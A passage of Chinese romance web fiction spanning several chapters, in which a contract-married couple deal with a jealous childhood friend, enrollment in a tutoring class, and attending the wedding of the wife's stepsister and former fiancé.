陈芳婷笑了笑,晃了晃手里的书,“不是说好要给你补功课的吗?今天正好有空,就过来了。” 苏念橙这才想起来,那天吃饭的时候,陈芳婷确实说过要辅导她外语。 她赶紧让开,“快进来坐。你脚还没好,怎么就跑出来了?” “好得差不多了。”陈芳婷一瘸一拐地走进来,“再不动动,都要长毛了。” 苏念橙扶她在沙发上坐下,去倒了杯水。 陈芳婷接过水杯,四处打量着屋子。 “这就是靳临哥买的房子?”她问,“我还是第一次来呢。” 苏念橙点点头,“嗯。” 陈芳婷喝了口水,忽然说,“念橙,你能带我逛逛吗?我想看看靳临哥住的地方什么样。” 苏念橙愣了一下,点点头,“行。” 她带着陈芳婷在屋里转了一圈。 客厅,厨房,澡间,都看了。 最后走到二楼。 “这是客房,”苏念橙推开一扇门,“平时没人住。” 陈芳婷往里看了一眼,点点头。 苏念橙又推开旁边那扇门,“这是我的房间。” 陈芳婷愣了一下。 她看看那个房间,又看看苏念橙,眼里闪过一丝异样。 “你住这儿?”她问。 苏念橙点点头,“嗯。” 陈芳婷沉默了两秒,忽然笑了,“那靳临哥住哪儿?” 苏念橙指了指楼下,“一楼那间。” 陈芳婷脸上的笑顿了顿。 她看着苏念橙,眼里带着点探究。 “你们……”她斟酌着开口,“分房睡?” 苏念橙心里咯噔一下。 她这才反应过来,新婚夫妻,哪有分房睡的? 陈芳婷盯着她,那眼神,温柔里带着点别的什么。 “念橙,”她轻声问,“你怎么不住主卧?” 苏念橙脑子飞快转着。 该怎么解释? 说他们本来就是协议结婚,分房睡很正常? 可这话能说吗? 陈芳婷看着她,等着她回答。 苏念橙咬了咬嘴唇,“那个……” 陈芳婷忽然笑了,拍拍她的手,“没事,我就是随便问问。你们小两口怎么睡,是你们的事。” 她说着,一瘸一拐往楼下走,“走吧,下去看书。” 苏念橙跟在她身后,心里却七上八下的。 她刚才那个眼神…… 是发现了什么吗? 苏念橙也没多想,扶着陈芳婷下了楼,在桌边坐下。 陈芳婷翻开带来的书,是本英语教材,上面密密麻麻写着笔记。 “你底子薄,咱们从基础开始。”她指着第一页,“这是音标,你先读一遍我听听。” 苏念橙点点头,认真读起来。 陈芳婷听得很仔细,时不时纠正她的发音,声音温和,很有耐心。 苏念橙学得认真,遇到不懂的就问,陈芳婷也一一解答。 两人一个教一个学,时间过得飞快。 不知不觉,窗外的阳光已经斜了。 门被推开,越靳临站在门口。 他换了件干净衬衫,头发还湿着,像是刚洗过澡。 看见陈芳婷,他愣了一下。 陈芳婷抬起头,笑着挥手,“靳临哥,回来啦?” 越靳临点点头,走进来,“你脚好了?” “好多了。”陈芳婷晃晃脚,“出来透透气,顺便给念橙补补课。” 越靳临看向苏念橙。 她坐在陈芳婷旁边,手里还握着笔,脸被台灯照得暖黄黄的。 “学得怎么样?”他问。 苏念橙点点头,“芳婷姐教得很好。” 陈芳婷笑了,“那是,我可是专业的。” 她看了看窗外,“哎呀,都这么晚了。那我先回去了。” 她站起来,一瘸一拐往门口走。 苏念橙赶紧起身,“芳婷姐,吃了饭再走吧。都这个点了,回去还得做饭。” 陈芳婷脚步顿了顿,看向越靳临。 越靳临没说话。 陈芳婷笑了笑,“这……不太方便吧?” “有什么不方便的?”苏念橙走过去,扶住她,“就多双筷子的事。你教我一下午,我还没谢谢你呢。” 陈芳婷犹豫了一下,点点头,“那好吧,叨扰了。” 苏念橙扶她坐下,自己往厨房走,“我去做饭。” “我来吧。”越靳临拦住她,撸起袖子往厨房走。 苏念橙想跟进去帮忙,陈芳婷忽然开口。 “念橙,你先把我给你布置的那道题做完吧。”她指着桌上的书,“做完我再看看,有不对的及时改。” 苏念橙愣了一下,点点头,“好。” 她坐回桌边,翻开书,继续做题。 陈芳婷站起来,一瘸一拐往厨房走。 “靳临哥,我来帮你。” 苏念橙抬头看了一眼,又低下头。 厨房里,陈芳婷系上围裙,站在越靳临旁边。 “要洗什么?”她问。 越靳临把一把青菜递给她,“把这个洗了。” 陈芳婷接过来,拧开水龙头,哗哗地洗。 “靳临哥,”她一边洗一边说,“你现在厨艺怎么样?我记得以前在大院的时候,你可是连煮个面都能煮糊的。” 第四十八章 你们吵架了? 越靳临正在切肉,头也没抬,“还行。” 陈芳婷笑了,“还行是怎么样?能吃吗?” “能吃。” 她撇撇嘴,“那我可得好好尝尝。” 她把洗好的青菜放到案板上,又去拿葱姜蒜。 两人在厨房里忙活,一个切菜一个洗菜,配合得还挺默契。 苏念橙坐在桌边,偶尔抬头看一眼。 厨房的门开着,能看见两个人的背影。 越靳临站在灶台前切肉,陈芳婷站在他旁边,踮着脚把洗好的菜递过去,仰着脸跟他说什么。 她穿着素色毛衣,头发披着,侧脸温婉。 他低头听她说,偶尔点点头。 两人站在一起,一个高大冷硬,一个温婉柔和,看着真般配。 苏念橙收回目光,盯着书上的题。 可那些字母在眼前晃来晃去,怎么也看不进去。 她又抬头看了一眼。 陈芳婷正从越靳临手里接过什么,手指碰到他的手,笑了一下。 苏念橙忽然想起下午陈芳婷发现他们分房睡时那个眼神。 她应该是察觉了什么吧? 如果陈芳婷知道她和越靳临是协议结婚,会怎么样? 会跟越靳临在一起吗? 她看着厨房里那两个人,忽然觉得,如果他们真的在一起,也挺好的。 门当户对,青梅竹马,知根知底。 陈芳婷长得好看,性格也好,还是大学生,当老师。 比跟她这种初中没毕业的乡下丫头在一起,强多了。 她咬了咬嘴唇,低下头,继续做题。 这道题她本来会做的,可这会儿怎么也算不对。 算了,等会儿再问吧。 厨房里,菜下锅了,滋啦一声响,油烟冒起来。 陈芳婷往旁边躲了躲,笑着说了句什么。 越靳临没回头,拿着锅铲翻动,动作熟练得很。 苏念橙看着那个背影,忽然想起刚认识那会儿,他说他不做饭。 后来才知道,他是为了照顾她才做的。 她低下头,继续盯着那道题。 不一会儿,饭菜端上桌。 三菜一汤,红烧肉,炒青菜,莴笋炒肉,还有一碗鸡蛋花汤。 陈芳婷坐下,拿起筷子尝了一口。 “嗯!”她眼睛亮了,“靳临哥,你这厨艺可以啊!比国营饭店的也不差。” 越靳临在她对面坐下,“凑合。” 陈芳婷又夹了块红烧肉,“真好吃。我记得以前在大院的时候,咱们几个出去玩,都是你做饭。那时候你就比毅明强,现在更厉害了。” 她看向苏念橙,“念橙,你有口福了。” 苏念橙笑了笑,“嗯,他做饭是好吃。” 陈芳婷又吃了两口,忽然说,“说起来,以前咱们几个出去野炊,都是我洗菜切菜,靳临哥负责炒。文静负责吃,毅明负责捣乱。” 她笑得眼睛弯弯的,“有一次毅明非要自己炒,结果把菜炒糊了,咱们几个饿着肚子等他重新做。” 越靳临嘴角弯了弯,“那时候他手笨。” “可不是。”陈芳婷笑着,“那时候我就说,以后谁嫁给靳临哥,可有福气了。又会做饭,又会照顾人。” 她说着,看了苏念橙一眼。 苏念橙低着头吃饭,没接话。 陈芳婷收回目光,又聊起别的事。 吃完饭,陈芳婷站起来,“那我回去了。谢谢你们的饭。” 苏念橙也站起来,“我送你。” “不用不用。”陈芳婷摆摆手,“你忙你的。” 她看向越靳临,“靳临哥,你送我吧。天黑了,我一个人回去不太方便。” 越靳临点点头,“行。” 他拿起外套,走到门口换鞋。 苏念橙站在桌边,看着他们。 陈芳婷一瘸一拐地走到门口,回头朝她挥挥手,“念橙,我改天再来给你补课。” 苏念橙点点头,“好,谢谢芳婷姐。” 门关上了。 屋里安静下来。 苏念橙站在桌边,看着那扇关上的门,发了会儿呆。 她低头收拾碗筷,端进厨房,拧开水龙头开始洗。 水声哗哗的,她脑子里也乱糟糟的。 洗完碗,她擦干净手,坐到桌边,翻开书。 可那道题还是算不对。 她盯着那几个字母,心里想的是厨房里那两个人的背影。 般配。 真般配。 她咬着嘴唇,把书合上。 算了,今天不看了。 她站起来,上了楼。 另一边,越靳临送陈芳婷回去。 陈芳婷坐在后座,夜风凉丝丝的,吹得她头发往后飘。 她低着头,看着身前宽厚的肩膀,心里那点念头又冒出来。 这条路她走过无数回。 小时候一起上学,放学,出去玩,都是他骑车带着她。 那时候她坐在后座,也是这样,觉得这条路永远走不完才好。 可那时候,她没敢说。 后来出国,三年,她以为自己能放下。 可飞机落地那一刻,她第一个想见的人还是他。 她以为他会等她。 结果他结婚了。 摩托车拐进军区大院,在一栋小楼前停下。 越靳临停好车,回过头,“到了。” 陈芳婷没动。 她坐在后座上,抬起头看着他。 路灯的光从侧面照过来,把他棱角分明的脸照得格外清晰。 “靳临哥。”她开口。 越靳临看着她。 陈芳婷咬了咬嘴唇,“你跟念橙……是不是吵架了?” 越靳临愣了一下,“没有。” “那你们为什么分房睡?” 他眉头微微皱了皱。 陈芳婷观察着他的神色,轻声说,“下午我去你们家,念橙带我参观。她的房间在二楼,你住一楼。新婚夫妻,哪有分房睡的?” 越靳临没说话。 其实他起初也想一个房间睡,但是怕太冒昧。 这话反倒提醒了他。 陈芳婷看着他,心里那点猜测越来越清晰。 她斟酌着开口,“靳临哥,你们是不是……假结婚?” 其实这几天她猜测了许多的可能,今天才真的证实。 越靳临抬起头,看着她。 那双眼眸黑沉沉的,看不出情绪。 陈芳婷被他看得有点不自在,但还是继续说下去,“我猜的。你突然就结婚了,娶的还是认识一个月的人。奶奶一直催你,你肯定是想让她放心,随便找个人……” “不是。”越靳临打断她。 陈芳婷愣住了。 “的确是协议结婚。”他说,“但我们不是随便找的。” 第四十九章 她很合适 陈芳婷愣了下。 越靳临看着她,声音平平的,“我觉得她很合适。” 很合适。 这三个字像一盆冷水,兜头浇下来。 陈芳婷眼眶忽然酸了。 她低下头,攥紧手指,指甲掐进掌心。 “是吗?可既然……既然是协议结婚,”她声音发颤,“那念橙对你,应该也没什么感情吧?” 越靳临没说话。 陈芳婷抬起头,看着他,眼眶红红的,“既然没感情,何必强求?靳临哥,你要是想让奶奶放心,我也可以……” “芳婷。”越靳临打断她。 陈芳婷愣住了。 越靳临看着她,那双眼眸黑沉沉的,像能看透人心。 “时候不早了。”他说,“你回去休息吧。” 他没有把事情戳破,已经是给足了她面子。 陈芳婷张了张嘴,想说的话卡在喉咙里。 “还有,”越靳临顿了顿,“这件事,不要跟别人提起。” 他转身跨上摩托车,发动,头也没回地走了。 陈芳婷站在原地,看着那辆摩托车消失在夜色里。 风吹过来,凉飕飕的。 她忽然蹲下来,把脸埋进膝盖里。 肩膀一耸一耸的,没发出声音。 越靳临骑着摩托车往回开。 夜风呼呼地吹,他脑子里却乱得很。 陈芳婷那句话还在耳边转。 她对你能有什么感情? 他想起苏念橙看他的眼神。 亮亮的,软软的,但总带着点客气。 对你以后不好。 她总想着他的以后。 可从没想过,她的以后,他想掺和。 摩托车拐进槐花胡同,停在楼下。 他熄了火,坐在车上,没动。 楼上的窗户黑着,她应该睡了。 他忽然想起那天在图书馆,她坐在他对面看书的样子。 低着头,刘海垂下来,偶尔皱皱眉,偶尔弯弯嘴角。 乖得很。 又想起那天在诊所门口,她站在他身后,眼眶红红的,却拼命忍着不哭。 还有那次她生理期疼得蜷在沙发上,看见他买回来的那一大包东西,愣住的样子。 她那时候想说什么来着? 张了张嘴,最后只说了句谢谢。 他坐在摩托车上,点了一根烟。 烟雾飘起来,被风吹散。 他们之间,真的没感情吗? 他抽完那根烟,掐灭,扔进垃圾桶。 上楼,推开门,屋里黑漆漆的。 他没开灯,轻手轻脚走到楼梯口,往上看了一眼。 二楼的门关着,静悄悄的。 他站了一会儿,转身回了自己房间。 躺在床上,盯着天花板,睡不着。 脑子里全是她。 她笑的样子,她看书的样子,她站在路灯下跟何钧礼对视的样子。 那个眼神,他看见了。 不是留恋,不是怀念,就是愣住了。 可他还是不舒服。 他翻了个身,把手臂枕在脑袋下面。 陈芳婷说,她对你能有什么感情? 他不知道。 但他想知道。 第二天一早,苏念橙起床下楼。 厨房里照常飘来香味,越靳临系着围裙站在灶台前,听见动静回过头。 “醒了?洗脸吃饭。” 苏念橙嗯了一声,去洗漱。 坐到桌边,桌上摆着粥,咸菜,还有两个荷包蛋。 她咬了一口,蛋黄还是溏心的。 “好吃。”她说。 越靳临在她对面坐下,也拿起筷子。 两人安静地吃着。 吃了一会儿,越靳临忽然开口。 “今天下午有事吗?” 苏念橙抬起头,“没有,怎么了?” “陪我去个地方。”他说。 苏念橙愣了一下,“去哪儿?” 越靳临看着她,“到时候就知道了。” 苏念橙眨眨眼,点点头,“好。” 吃完饭,两人照常去上班。 摩托车在晨风里开。 她想起昨晚陈芳婷送他回来,他回来得很晚。 她没问,他也没说。 下午,越靳临来接她。 摩托车没往家开,而是往另一个方向走。 苏念橙坐在后座,看着路边的风景一点点变化。 梧桐树,供销社,国营饭店,都过去了。 最后停在一栋灰色的小楼前。 她抬起头,愣住了。 师范学院。 “到了。”越靳临停好车,回过头,“下来吧。” 苏念橙下了车,看着那扇大门,有点懵。 “来这儿干嘛?” 越靳临从口袋里掏出张纸,递给她。 苏念橙接过来一看,愣住了。 是一张报名表。 师范学院的补习班,三十块一个月。 报名表上,她的名字已经填好了。 “你……”她抬起头,看着他。 越靳临站在她面前,低头看着她,“你不是想去吗?所以我就帮你报了。” 苏念橙张了张嘴,不知道该说什么。 她那天在图书馆只是听了一耳朵,连跟谁都没提。 他怎么知道的? “走吧。”越靳临牵起她的手,“进去报名。” 两人进去报了名。 报名处排着长队,都是来报补习班的年轻人,手里攥着钱和票,脸上带着期待。 苏念橙站在队尾,心里算着账。 三十块,她一个月工钱十八块,得攒两个月。 她摸了摸口袋,里头只有十几块,还是上次奶奶给的红包剩的。 “想什么呢?”旁边传来低沉的声音。 苏念橙抬起头,越靳临站在她身边,低头看着她。 “没、没什么。”她摇摇头,“就是想着学费……” “我交。”他说。 苏念橙愣了一下,“那怎么行——” “怎么不行?”他打断她,从口袋里掏出钱和票,“你是我媳妇儿,给你交学费应该的。” 苏念橙闻言脸一红。 队伍慢慢往前挪,很快就到了他们。 越靳临把报名表和钱递过去,眼睛都不带眨一下。 三十块,厚厚一叠,他就那么递出去了。 苏念橙站在旁边,看着那张报名表盖上章,心里像被什么东西塞得满满的。 “好了。”工作人员把收据递过来,“下周一开课,每周一到周五晚上七点到九点,周末白天也可以来。这是课程表。” 越靳临接过收据和课程表,牵起苏念橙的手,“走吧。” 两人出了师范学院的大门。 天还早,太阳斜斜地挂在天边,把整条街都染成暖黄色。 苏念橙走在他旁边,低头看着手里的收据。 “越靳临。”她忽然开口。 “嗯?” “这钱……我以后还你。” 第五十章 参加婚礼 越靳临脚步顿了顿,低头看她。 她站在夕阳里,皮肤白皙,眼睛亮亮的,手指攥着那张收据,认真的样子像在发誓。 “不用。”他说。 “那怎么行?”苏念橙急了,“三十块呢,我不能让你白花——” “我们是夫妻。”他打断她,“给你花,应该的。” 苏念橙愣住了。 夫妻。 这两个字从他嘴里说出来,跟平时好像不太一样。 她低下头,盯着自己的鞋尖,耳朵有点烫。 “那……那好吧。”她小声说。 越靳临看着她红透的耳尖,嘴角微微弯了弯。 两人继续往前走。 走了一段,苏念橙忽然想起什么。 “对了。”她抬起头,“明天15号,我发工钱。” 越靳临看着她。 她眼睛亮亮的,嘴角弯起来,“我请你吃饭。” 越靳临愣了一下,“请我吃饭?” “嗯。”苏念橙点点头,“说好的,等发了工钱就请你吃红烧肉。” 他想起那天在胡同口,她说等发了工钱请他吃红烧肉。 那时候他以为她就是随口一说。 没想到她还记着。 “好。”他说。 苏念橙笑了,“那说定了。明天晚上,国营饭店。” “好。” 两人回到家,天还没黑。 越靳临去厨房做饭,苏念橙换了身旧衣服,开始收拾屋子。 这几天忙,屋里有点乱。 她把桌上的书收好,擦了擦灰尘,又去拖地。 拖到桌子底下的时候,扫帚碰到什么东西。 她弯腰一看,是个红色的信封,压在桌腿下面。 她把信封抽出来,拍了拍灰,翻过来一看,愣住了。 大红封皮,烫金字。 何钧礼,苏荷雨,结婚请帖。 她盯着那几个字,愣了好几秒。 何钧礼和苏荷雨的婚礼,就在明天。 他们给越靳临发了请帖。 “怎么了?”身后传来低沉的声音。 苏念橙回过头,越靳临站在厨房门口,手里还拿着锅铲。 她把手里的请帖晃了晃,“这个……他们给你发的?” 越靳临走过来,接过请帖看了一眼,点点头,“嗯,前两天收到的。何家给周围邻居都发了,挺隆重的。” 苏念橙点点头,“原来是这样。” 她把手里的请帖放下,继续拖地。 越靳临站在旁边,看着她。 她低着头拖地,脸上没什么表情,动作跟刚才一样利索。 好像那张请帖对她来说,就是张普通的纸。 他忽然开口。 “你想去吗?” 苏念橙手顿了顿,抬起头,“什么?” “明天的婚礼。”他说,“你想去吗?” 苏念橙想都没想,摇摇头,“不去。” 她低下头继续拖地,“他们结婚,关我什么事。” 越靳临看着她,沉默了两秒。 “我随了挺多份子钱的。”他说。 苏念橙愣了一下,抬起头,“啊?” 他看着她,嘴角微微弯了弯,“随了十八块。” 苏念橙瞪大眼睛,“十八块?你随这么多干嘛?” “邻居嘛。”他说,“意思意思。” 苏念橙急了,“那也不能随这么多啊,十八块都够咱们吃半个月了。” 越靳临没接话,只是看着她。 苏念橙被他看得有点不自在,低下头继续拖地,嘴里嘟囔,“十八块,都能买多少斤肉了……” 活脱脱像一个管家的小媳妇。 越靳临被她可爱到,“要不咱们去吃回来?” 苏念橙手顿了顿,抬起头。 他站在那儿,低头看着她,眼里带着点笑意。 “反正钱都随了,”他说,“不吃白不吃。” 苏念橙愣住了。 她看着他,脑子里转了好几个弯。 去何钧礼和苏荷雨的婚礼? 吃他们家的席? 她想起苏荷雨那张假惺惺的脸,想起何钧礼那些话。 心里那点恶心又冒出来。 可越靳临说得也有道理。 十八块,都随了,不去吃多亏。 她咬了咬嘴唇,“你……你想去?” 越靳临看着她,“我随你。” 苏念橙愣了一下。 可那话听着,就是让她自己做主。 她低下头,想了想。 “那……”她抬起头,“咱们去吃一顿?” 越靳临嘴角弯了弯,“好。” 苏念橙看着他那个笑,心里涌上复杂的情绪。 他是不是故意的? 故意随那么多份子钱,就为了让她去出这口气? 可这话她没问出口。 “那明天,”她放下拖把,“咱们几点去?” 越靳临想了想,“中午十二点开席,咱们十一点半出发就行。” 苏念橙点点头,“好。” 她继续拖地,拖了两下,又抬起头。 “对了,我穿哪件衣服去?” 越靳临看着她,“你想穿哪件?” 苏念橙想了想,“红的?” 那件红裙子,买回来还没穿过。 越靳临点点头,“红的挺好。” 苏念橙笑了,“那就穿红的。” “嗯。” 第二天中午,苏念橙换上那条红裙子。 镜子里的自己,腰身收得细细的,裙摆在膝盖下面一点,露出白生生的小腿。 她转了个身,裙角轻轻飘起来。 真好看。 她还抹了点粉,擦了点唇蜜,整个嘴巴亮晶晶的。 做完这些她才下楼。 越靳临正坐在客厅里等她。 他今天也换了件新衬衫,深灰色的,他身材本来就是宽肩窄腰的,穿了深色更加俊俏。 他头发梳得整整齐齐,整个人看着比平时精神多了。 听见动静,他抬起头。 愣住了。 她站在楼梯口,穿着那条红裙子,头发披着,脸红红的,眼睛亮亮的。 像画上走下来的人。 “好……好看吗?”苏念橙被他看得有点紧张,手指揪着裙边。 越靳临喉结动了动,他温声道:“很好看。” 苏念橙脸更红了,低下头不敢看他。 他站起来,走过去,牵起她的手。 “走吧。”他说。 苏念橙点点头,跟着他往外走。 两人上了摩托车,往国营饭店开。 国营饭店门口停满了自行车,还有几辆摩托车,热闹得很。 门口站着两个人,穿着新衣服,胸前别着红花,笑得合不拢嘴。 是何钧礼的父母。 何母穿着一件暗红色的褂子,正跟来客打招呼。 看见越靳临的摩托车停下,她眼睛一亮,迎了上来。 “哎呀,越同志来了!”她笑得热情,“快请进快请进!” 第五十一章 修罗场 越靳临停好车,牵着苏念橙走过去。 何母的目光落在苏念橙身上,愣了一下。 红裙子,白皮肤,大眼睛,站在越靳临旁边,跟画报上的人似的。 她看着有点眼熟,一时没认出来。 “这位是……” 苏念橙笑了笑,“何阿姨好,我是苏念橙。” 何母闻言笑了笑,“原来是佩佩的朋友呀,你今天这么一打扮我都快认不出来了。”她目光落在越靳临身上,“小越,这个是你的女朋友吗?” 越靳临温声回应,“不是,她是我媳妇儿。” 何母愣了一下,上下打量着苏念橙,眼里闪过一丝意外,“原来是这样。快进去吧,找个位置坐,等一下开饭了。” 苏念橙点点头,往里扫了一眼,没见到苏国强。 她心里疑惑了一瞬,但也没多想,跟着越靳临往里走。 刚走进去,就看见不远处那张桌上,何钧礼跟苏荷雨并肩坐着。 何钧礼穿着崭新的中山装,胸口别着朵小红花,头发梳得一丝不苟。 苏荷雨穿了件粉色的确良裙子,脸上抹了胭脂,笑得温温柔柔的。 苏念橙脚步顿了顿。 她的继妹结婚,都没有邀请她。 姐妹俩做到这个份上,也是够了。 说不难受是假的。 虽然她不喜欢苏荷雨,但总而言之,都是一个父亲生的。 她收回目光,正要往旁边走,忽然感觉到一道视线落在自己身上。 何钧礼愣住了。 他盯着门口那个穿红裙子的姑娘,一时之间出了神。 红色的裙子,衬得她皮肤白得发光。 头发扎成马尾,露出光洁的额头。 眼睛亮亮的,嘴唇红红的,整个人像电影明星似的。 他从来没见过她这样。 在乡下的时候,她总穿着洗得发白的旧衣服,头发随便扎着,脸上总是带着点灰。 可这会儿,她站在那儿,跟那个男人在一起,美得让人移不开眼。 他脑子里忽然闪过一个念头。 她今天穿红色,不会是……想嫁给他吧? 不对,她要嫁的人不是他。 可这红色,真的太显眼了。 “钧礼?”苏荷雨的声音在耳边响起。 何钧礼回过神,苏荷雨正挽着他的胳膊,顺着他的视线看过去,落在了苏念橙脸上。 她脸上的笑僵了一瞬,随即握紧了拳头。 苏念橙? 她怎么来了? 她明明没给请帖。 还穿这么鲜艳的红色? 今天是她苏荷雨的婚礼,她穿成这样,是想抢谁的风头? 苏荷雨咬着嘴唇,心里那点火蹭蹭往上冒。 她脸上却挤出个笑,声音娇娇的,“姐姐真漂亮,穿红裙子真好看。我结婚都比不上她。” 何钧礼愣了一下,低头看她。 苏荷雨眼眶红红的,委屈巴巴的。 他心里一软,赶紧哄她,“胡说,你比她好看多了。她穿红裙子也就那样,你穿粉色多温柔。别跟她比,你很好。” 苏荷雨靠在他肩上,小声说,“真的吗?” “当然是真的。”何钧礼揽着她的肩,“她一个乡下丫头,能跟你比?” 苏荷雨这才笑了,靠在他怀里,眼睛却往苏念橙那边瞄了一眼。 苏念橙和越靳临也看见了他们。 苏念橙只是瞥了一眼,就收回目光,拉着越靳临往另一边走。 “那边有空位。”她指了指角落。 越靳临点点头,跟着她走过去。 两人坐下,桌上摆着些花生瓜子,还有几碟点心。 苏念橙拿起一块点心,咬了一口。 是枣泥馅的,甜丝丝的。 “饿不饿?”越靳临问。 苏念橙点点头,“有点。中午没吃饱。” “那多吃点。”他把那碟点心往她面前推了推。 苏念橙又拿了一块,吃得认真。 越靳临看着她,嘴角微微弯了弯,“慢点吃,没人跟你抢。” 苏念橙愣了一下,脸有点红,放慢了速度。 她嚼着嘴里的点心,眼睛却忍不住往四周看。 来的客人真不少,一桌一桌坐满了人,说说笑笑的,热闹得很。 可这些人里,没一个她认识的。 她收回目光,继续吃点心。 越靳临坐在她旁边,也没说话,只是偶尔看她一眼。 这时,门口忽然传来一阵骚动。 两人同时抬头看去。 一个穿灰布中山装的男人走了进来,脸黑沉沉的,正是苏国强。 他身后还跟着个中年女人,烫着卷发,穿着崭新的碎花裙子,脸上抹着厚厚的粉。 苏念橙手里的点心顿了顿。 那是她继母,赵秀兰。 赵秀兰挽着苏国强的胳膊,笑得一脸得意,一边走一边跟认识的人打招呼,那架势,跟自己是新娘似的。 苏念橙看着她那张脸,心里一阵恶心。 当年她妈刚死,这个女人就进了门。 那时候她小,不懂事,还以为来了个新妈会对自己好。 结果呢? 住柴房,穿剩衣服,吃剩饭,干最累的活。 那些年,她都不知道是怎么熬过来的。 赵秀兰的目光在厅里扫了一圈,忽然定住了。 她看见了苏念橙。 脸上的笑僵了一瞬,随即又笑起来,拉着苏国强往这边走。 “哟,这不是念橙吗?”她走过来,上下打量着苏念橙,目光在她那件红裙子上转了一圈,“穿这么好看,是来给你妹妹贺喜的?” 苏念橙站起来,脸上没什么表情,“嗯。” 赵秀兰笑了笑,看向旁边的越靳临,“这位就是姑爷吧?长得真俊。” 越靳临点点头,没说话。 赵秀兰也不恼,又看向苏念橙,“念橙啊,你妹妹今天结婚,你这个当姐姐的,怎么也不送点贺礼?” 苏念橙心里冷笑,嘴上说,“没准备。” 赵秀兰脸上的笑顿了顿,随即又笑起来,“没准备就算了,反正也不指望你。”她拉着苏国强,“走吧,咱们去那边坐。” 两人往主桌走去。 苏念橙坐回椅子上,拿起那块没吃完的点心,继续吃。 可嚼着嚼着,忽然觉得没什么味道。 越靳临在旁边看着她,忽然伸出手,握住她的手。 她愣了一下,抬起头。 他看着她,那双眼眸黑沉沉的,像能看透人心。 “不想吃就别吃了。”他说。 苏念橙心里一暖,点点头,放下点心。 她深吸一口气,把那些乱七八糟的情绪压下去。 今天是来吃饭的,不是来给自己添堵的。 第五十二章 你想办婚礼吗? 片刻后,婚礼开始了。 司仪站在前头,拿着话筒说了些吉祥话,什么百年好合早生贵子,底下的人跟着鼓掌起哄。 苏念橙没抬头,专心吃菜。 今天的菜挺丰盛,红烧肉、糖醋鱼、炒鸡块,还有一碗扣肉。 她夹了块扣肉,肥瘦相间,入口即化。 “听说何家给的彩礼可不少,”旁边那桌有人在议论,“三大件一样不少,还外加两百块。” “那可不,新娘子是大学生呢,师范学院毕业的,配何家小子正好。” “登对,真登对。” 苏念橙听着,脸上没什么表情,又夹了块鱼。 一旁的越靳临看了她一眼。 她低着头吃鱼,小口小口的,腮帮子微微鼓着,眼睛盯着盘子,好像那些话跟她一点关系都没有。 可她越是这样,他越觉得她在忍着。 他想起刚才在门口,苏国强和那个后妈走过来,她站起来的那一下,手指攥紧了裙边。 还有那对新人,坐在主桌上,她连看都没往那边看一眼。 越靳临心里忽然有点不是滋味。 他看着她,忽然低声开口。 “念橙。” 苏念橙愣了一下,抬起头。 她嘴角还沾着点酱汁,亮晶晶的,自己没察觉。 “嗯?”她看着他,眼睛亮亮的,“怎么了?” 越靳临看着那点酱汁,忽然笑了。 他伸出手,拇指轻轻擦过她嘴角,把那点酱汁抹掉。 “沾上了。”他说。 苏念橙愣住了。 他的指腹粗糙温热,擦过嘴角的时候,像有一阵酥麻从那儿窜开,一直窜到耳朵根。 她脸腾地红了,低下头,盯着碗里的菜,耳尖烫得厉害。 “谢、谢谢……”她声音小得像蚊子哼。 越靳临收回手,看着她红透的耳尖,嘴角弯了弯。 “念橙。”他又叫了她一声。 苏念橙抬起头,脸还红着,“嗯?” 越靳临看着她,那双黑沉沉的眼眸里映着小小的她。 “你想要办婚礼吗?”他问。 苏念橙愣了一下。 婚礼? 她眨眨眼,没反应过来,“什么?” 越靳临看着她那副懵懵的样子,心里软了一下。 “没什么。”他说,“吃菜吧。” 苏念橙哦了一声,低下头继续吃,心里却还在想他刚才那句话。 办婚礼? 怎么突然问这个? 她咬了口鱼,偷偷瞄了他一眼。 他正低头吃菜,脸上没什么表情,好像刚才那句话只是随口一问。 她收回目光,没再多想。 远处,何钧礼站在主桌边上,正跟几个亲戚说话。 他脸上带着笑,嘴里说着客套话,眼睛却忍不住往角落那边飘。 那个穿红裙子的姑娘坐在那儿,低着头吃菜。 她旁边那个男人,忽然伸手在她嘴角擦了一下。 她抬起头,脸红红的,看着那个男人。 那个男人低头看着她,笑了。 何钧礼脸上的笑僵了一瞬。 他盯着那边,攥紧了手里的酒杯,指节泛白。 “钧礼?”苏荷雨的声音在耳边响起。 他回过神,苏荷雨正挽着他的胳膊,仰着脸看他,“咱们该去敬酒了。” 何钧礼低下头,看着那张温柔的脸,把眼底的冷意压下去。 “好。”他笑了笑,揽着她的肩,“走吧。” 两人端着酒杯,一桌一桌敬过去。 走到苏念橙那桌的时候,何钧礼脚步顿了顿。 苏荷雨挽着他的胳膊,脸上的笑甜滋滋的。 “姐姐,”她看向苏念橙,声音娇娇的,“谢谢你今天来。” 苏念橙站起来,脸上没什么表情,“应该的。” 苏荷雨笑了笑,目光在她那件红裙子上转了一圈,“姐姐今天穿得真好看。我刚才还跟钧礼说,姐姐比我还像新娘子呢。” 旁边有人笑起来,附和着说,“姐妹俩都好看,都好看。” 苏念橙没接话,只是端起酒杯,跟他们碰了一下。 越靳临也站起来,酒杯碰过去,脸上淡淡的。 何钧礼看着他,目光在那张棱角分明的脸上停了一瞬。 他想起刚才那个画面,这个男人伸手擦她嘴角,她脸红红地看着他。 心里那股火又冒上来。 “何工,”越靳临忽然开口,“恭喜。” 何钧礼回过神,扯了扯嘴角,“谢谢。” 旁边有人起哄,“钧礼,今年可得努力啊,争取明年抱个大胖小子!” “就是就是,三年抱俩!” 何钧礼笑着点头,“好,一定努力。” 苏荷雨在旁边娇羞地捶了他一下,脸都红了,“说什么呢……” 众人笑得更欢了。 敬完酒,两人往下一桌走。 苏荷雨挽着他的胳膊,小声说,“钧礼,你刚才看什么呢?” 何钧礼脚步顿了顿,“没什么。” 苏荷雨抬起头,看着他,眼里带着点探究,“你是不是在看姐姐?” 何钧礼愣了一下,“胡说什么?” 苏荷雨笑了笑,靠在他肩上,“我开玩笑的。走吧,下一桌。” 何钧礼揽着她往前走,心里却乱得很。 他刚才确实在看苏念橙。 看她脸红红地看着那个男人,看那个男人低头对她笑。 那些画面,像针一样扎在心里。 可苏荷雨就在他身边,今天是他们的婚礼。 他深吸一口气,把那些念头压下去。 苏念橙坐回椅子上,继续吃菜。 越靳临在她旁边坐下,看了她一眼。 她低着头吃菜,脸上看不出什么。 可他就是觉得,她有点不对劲。 “吃饱了吗?”他问。 苏念橙点点头,“差不多了。” “那走吧。”他站起来。 苏念橙愣了一下,“现在就走?还没散席呢。” “没事。”越靳临牵起她的手,“份子钱给了,菜也吃了,差不多了。” 苏念橙想了想,也是。 她站起来,跟着他往外走。 走到门口,她忍不住回头看了一眼。 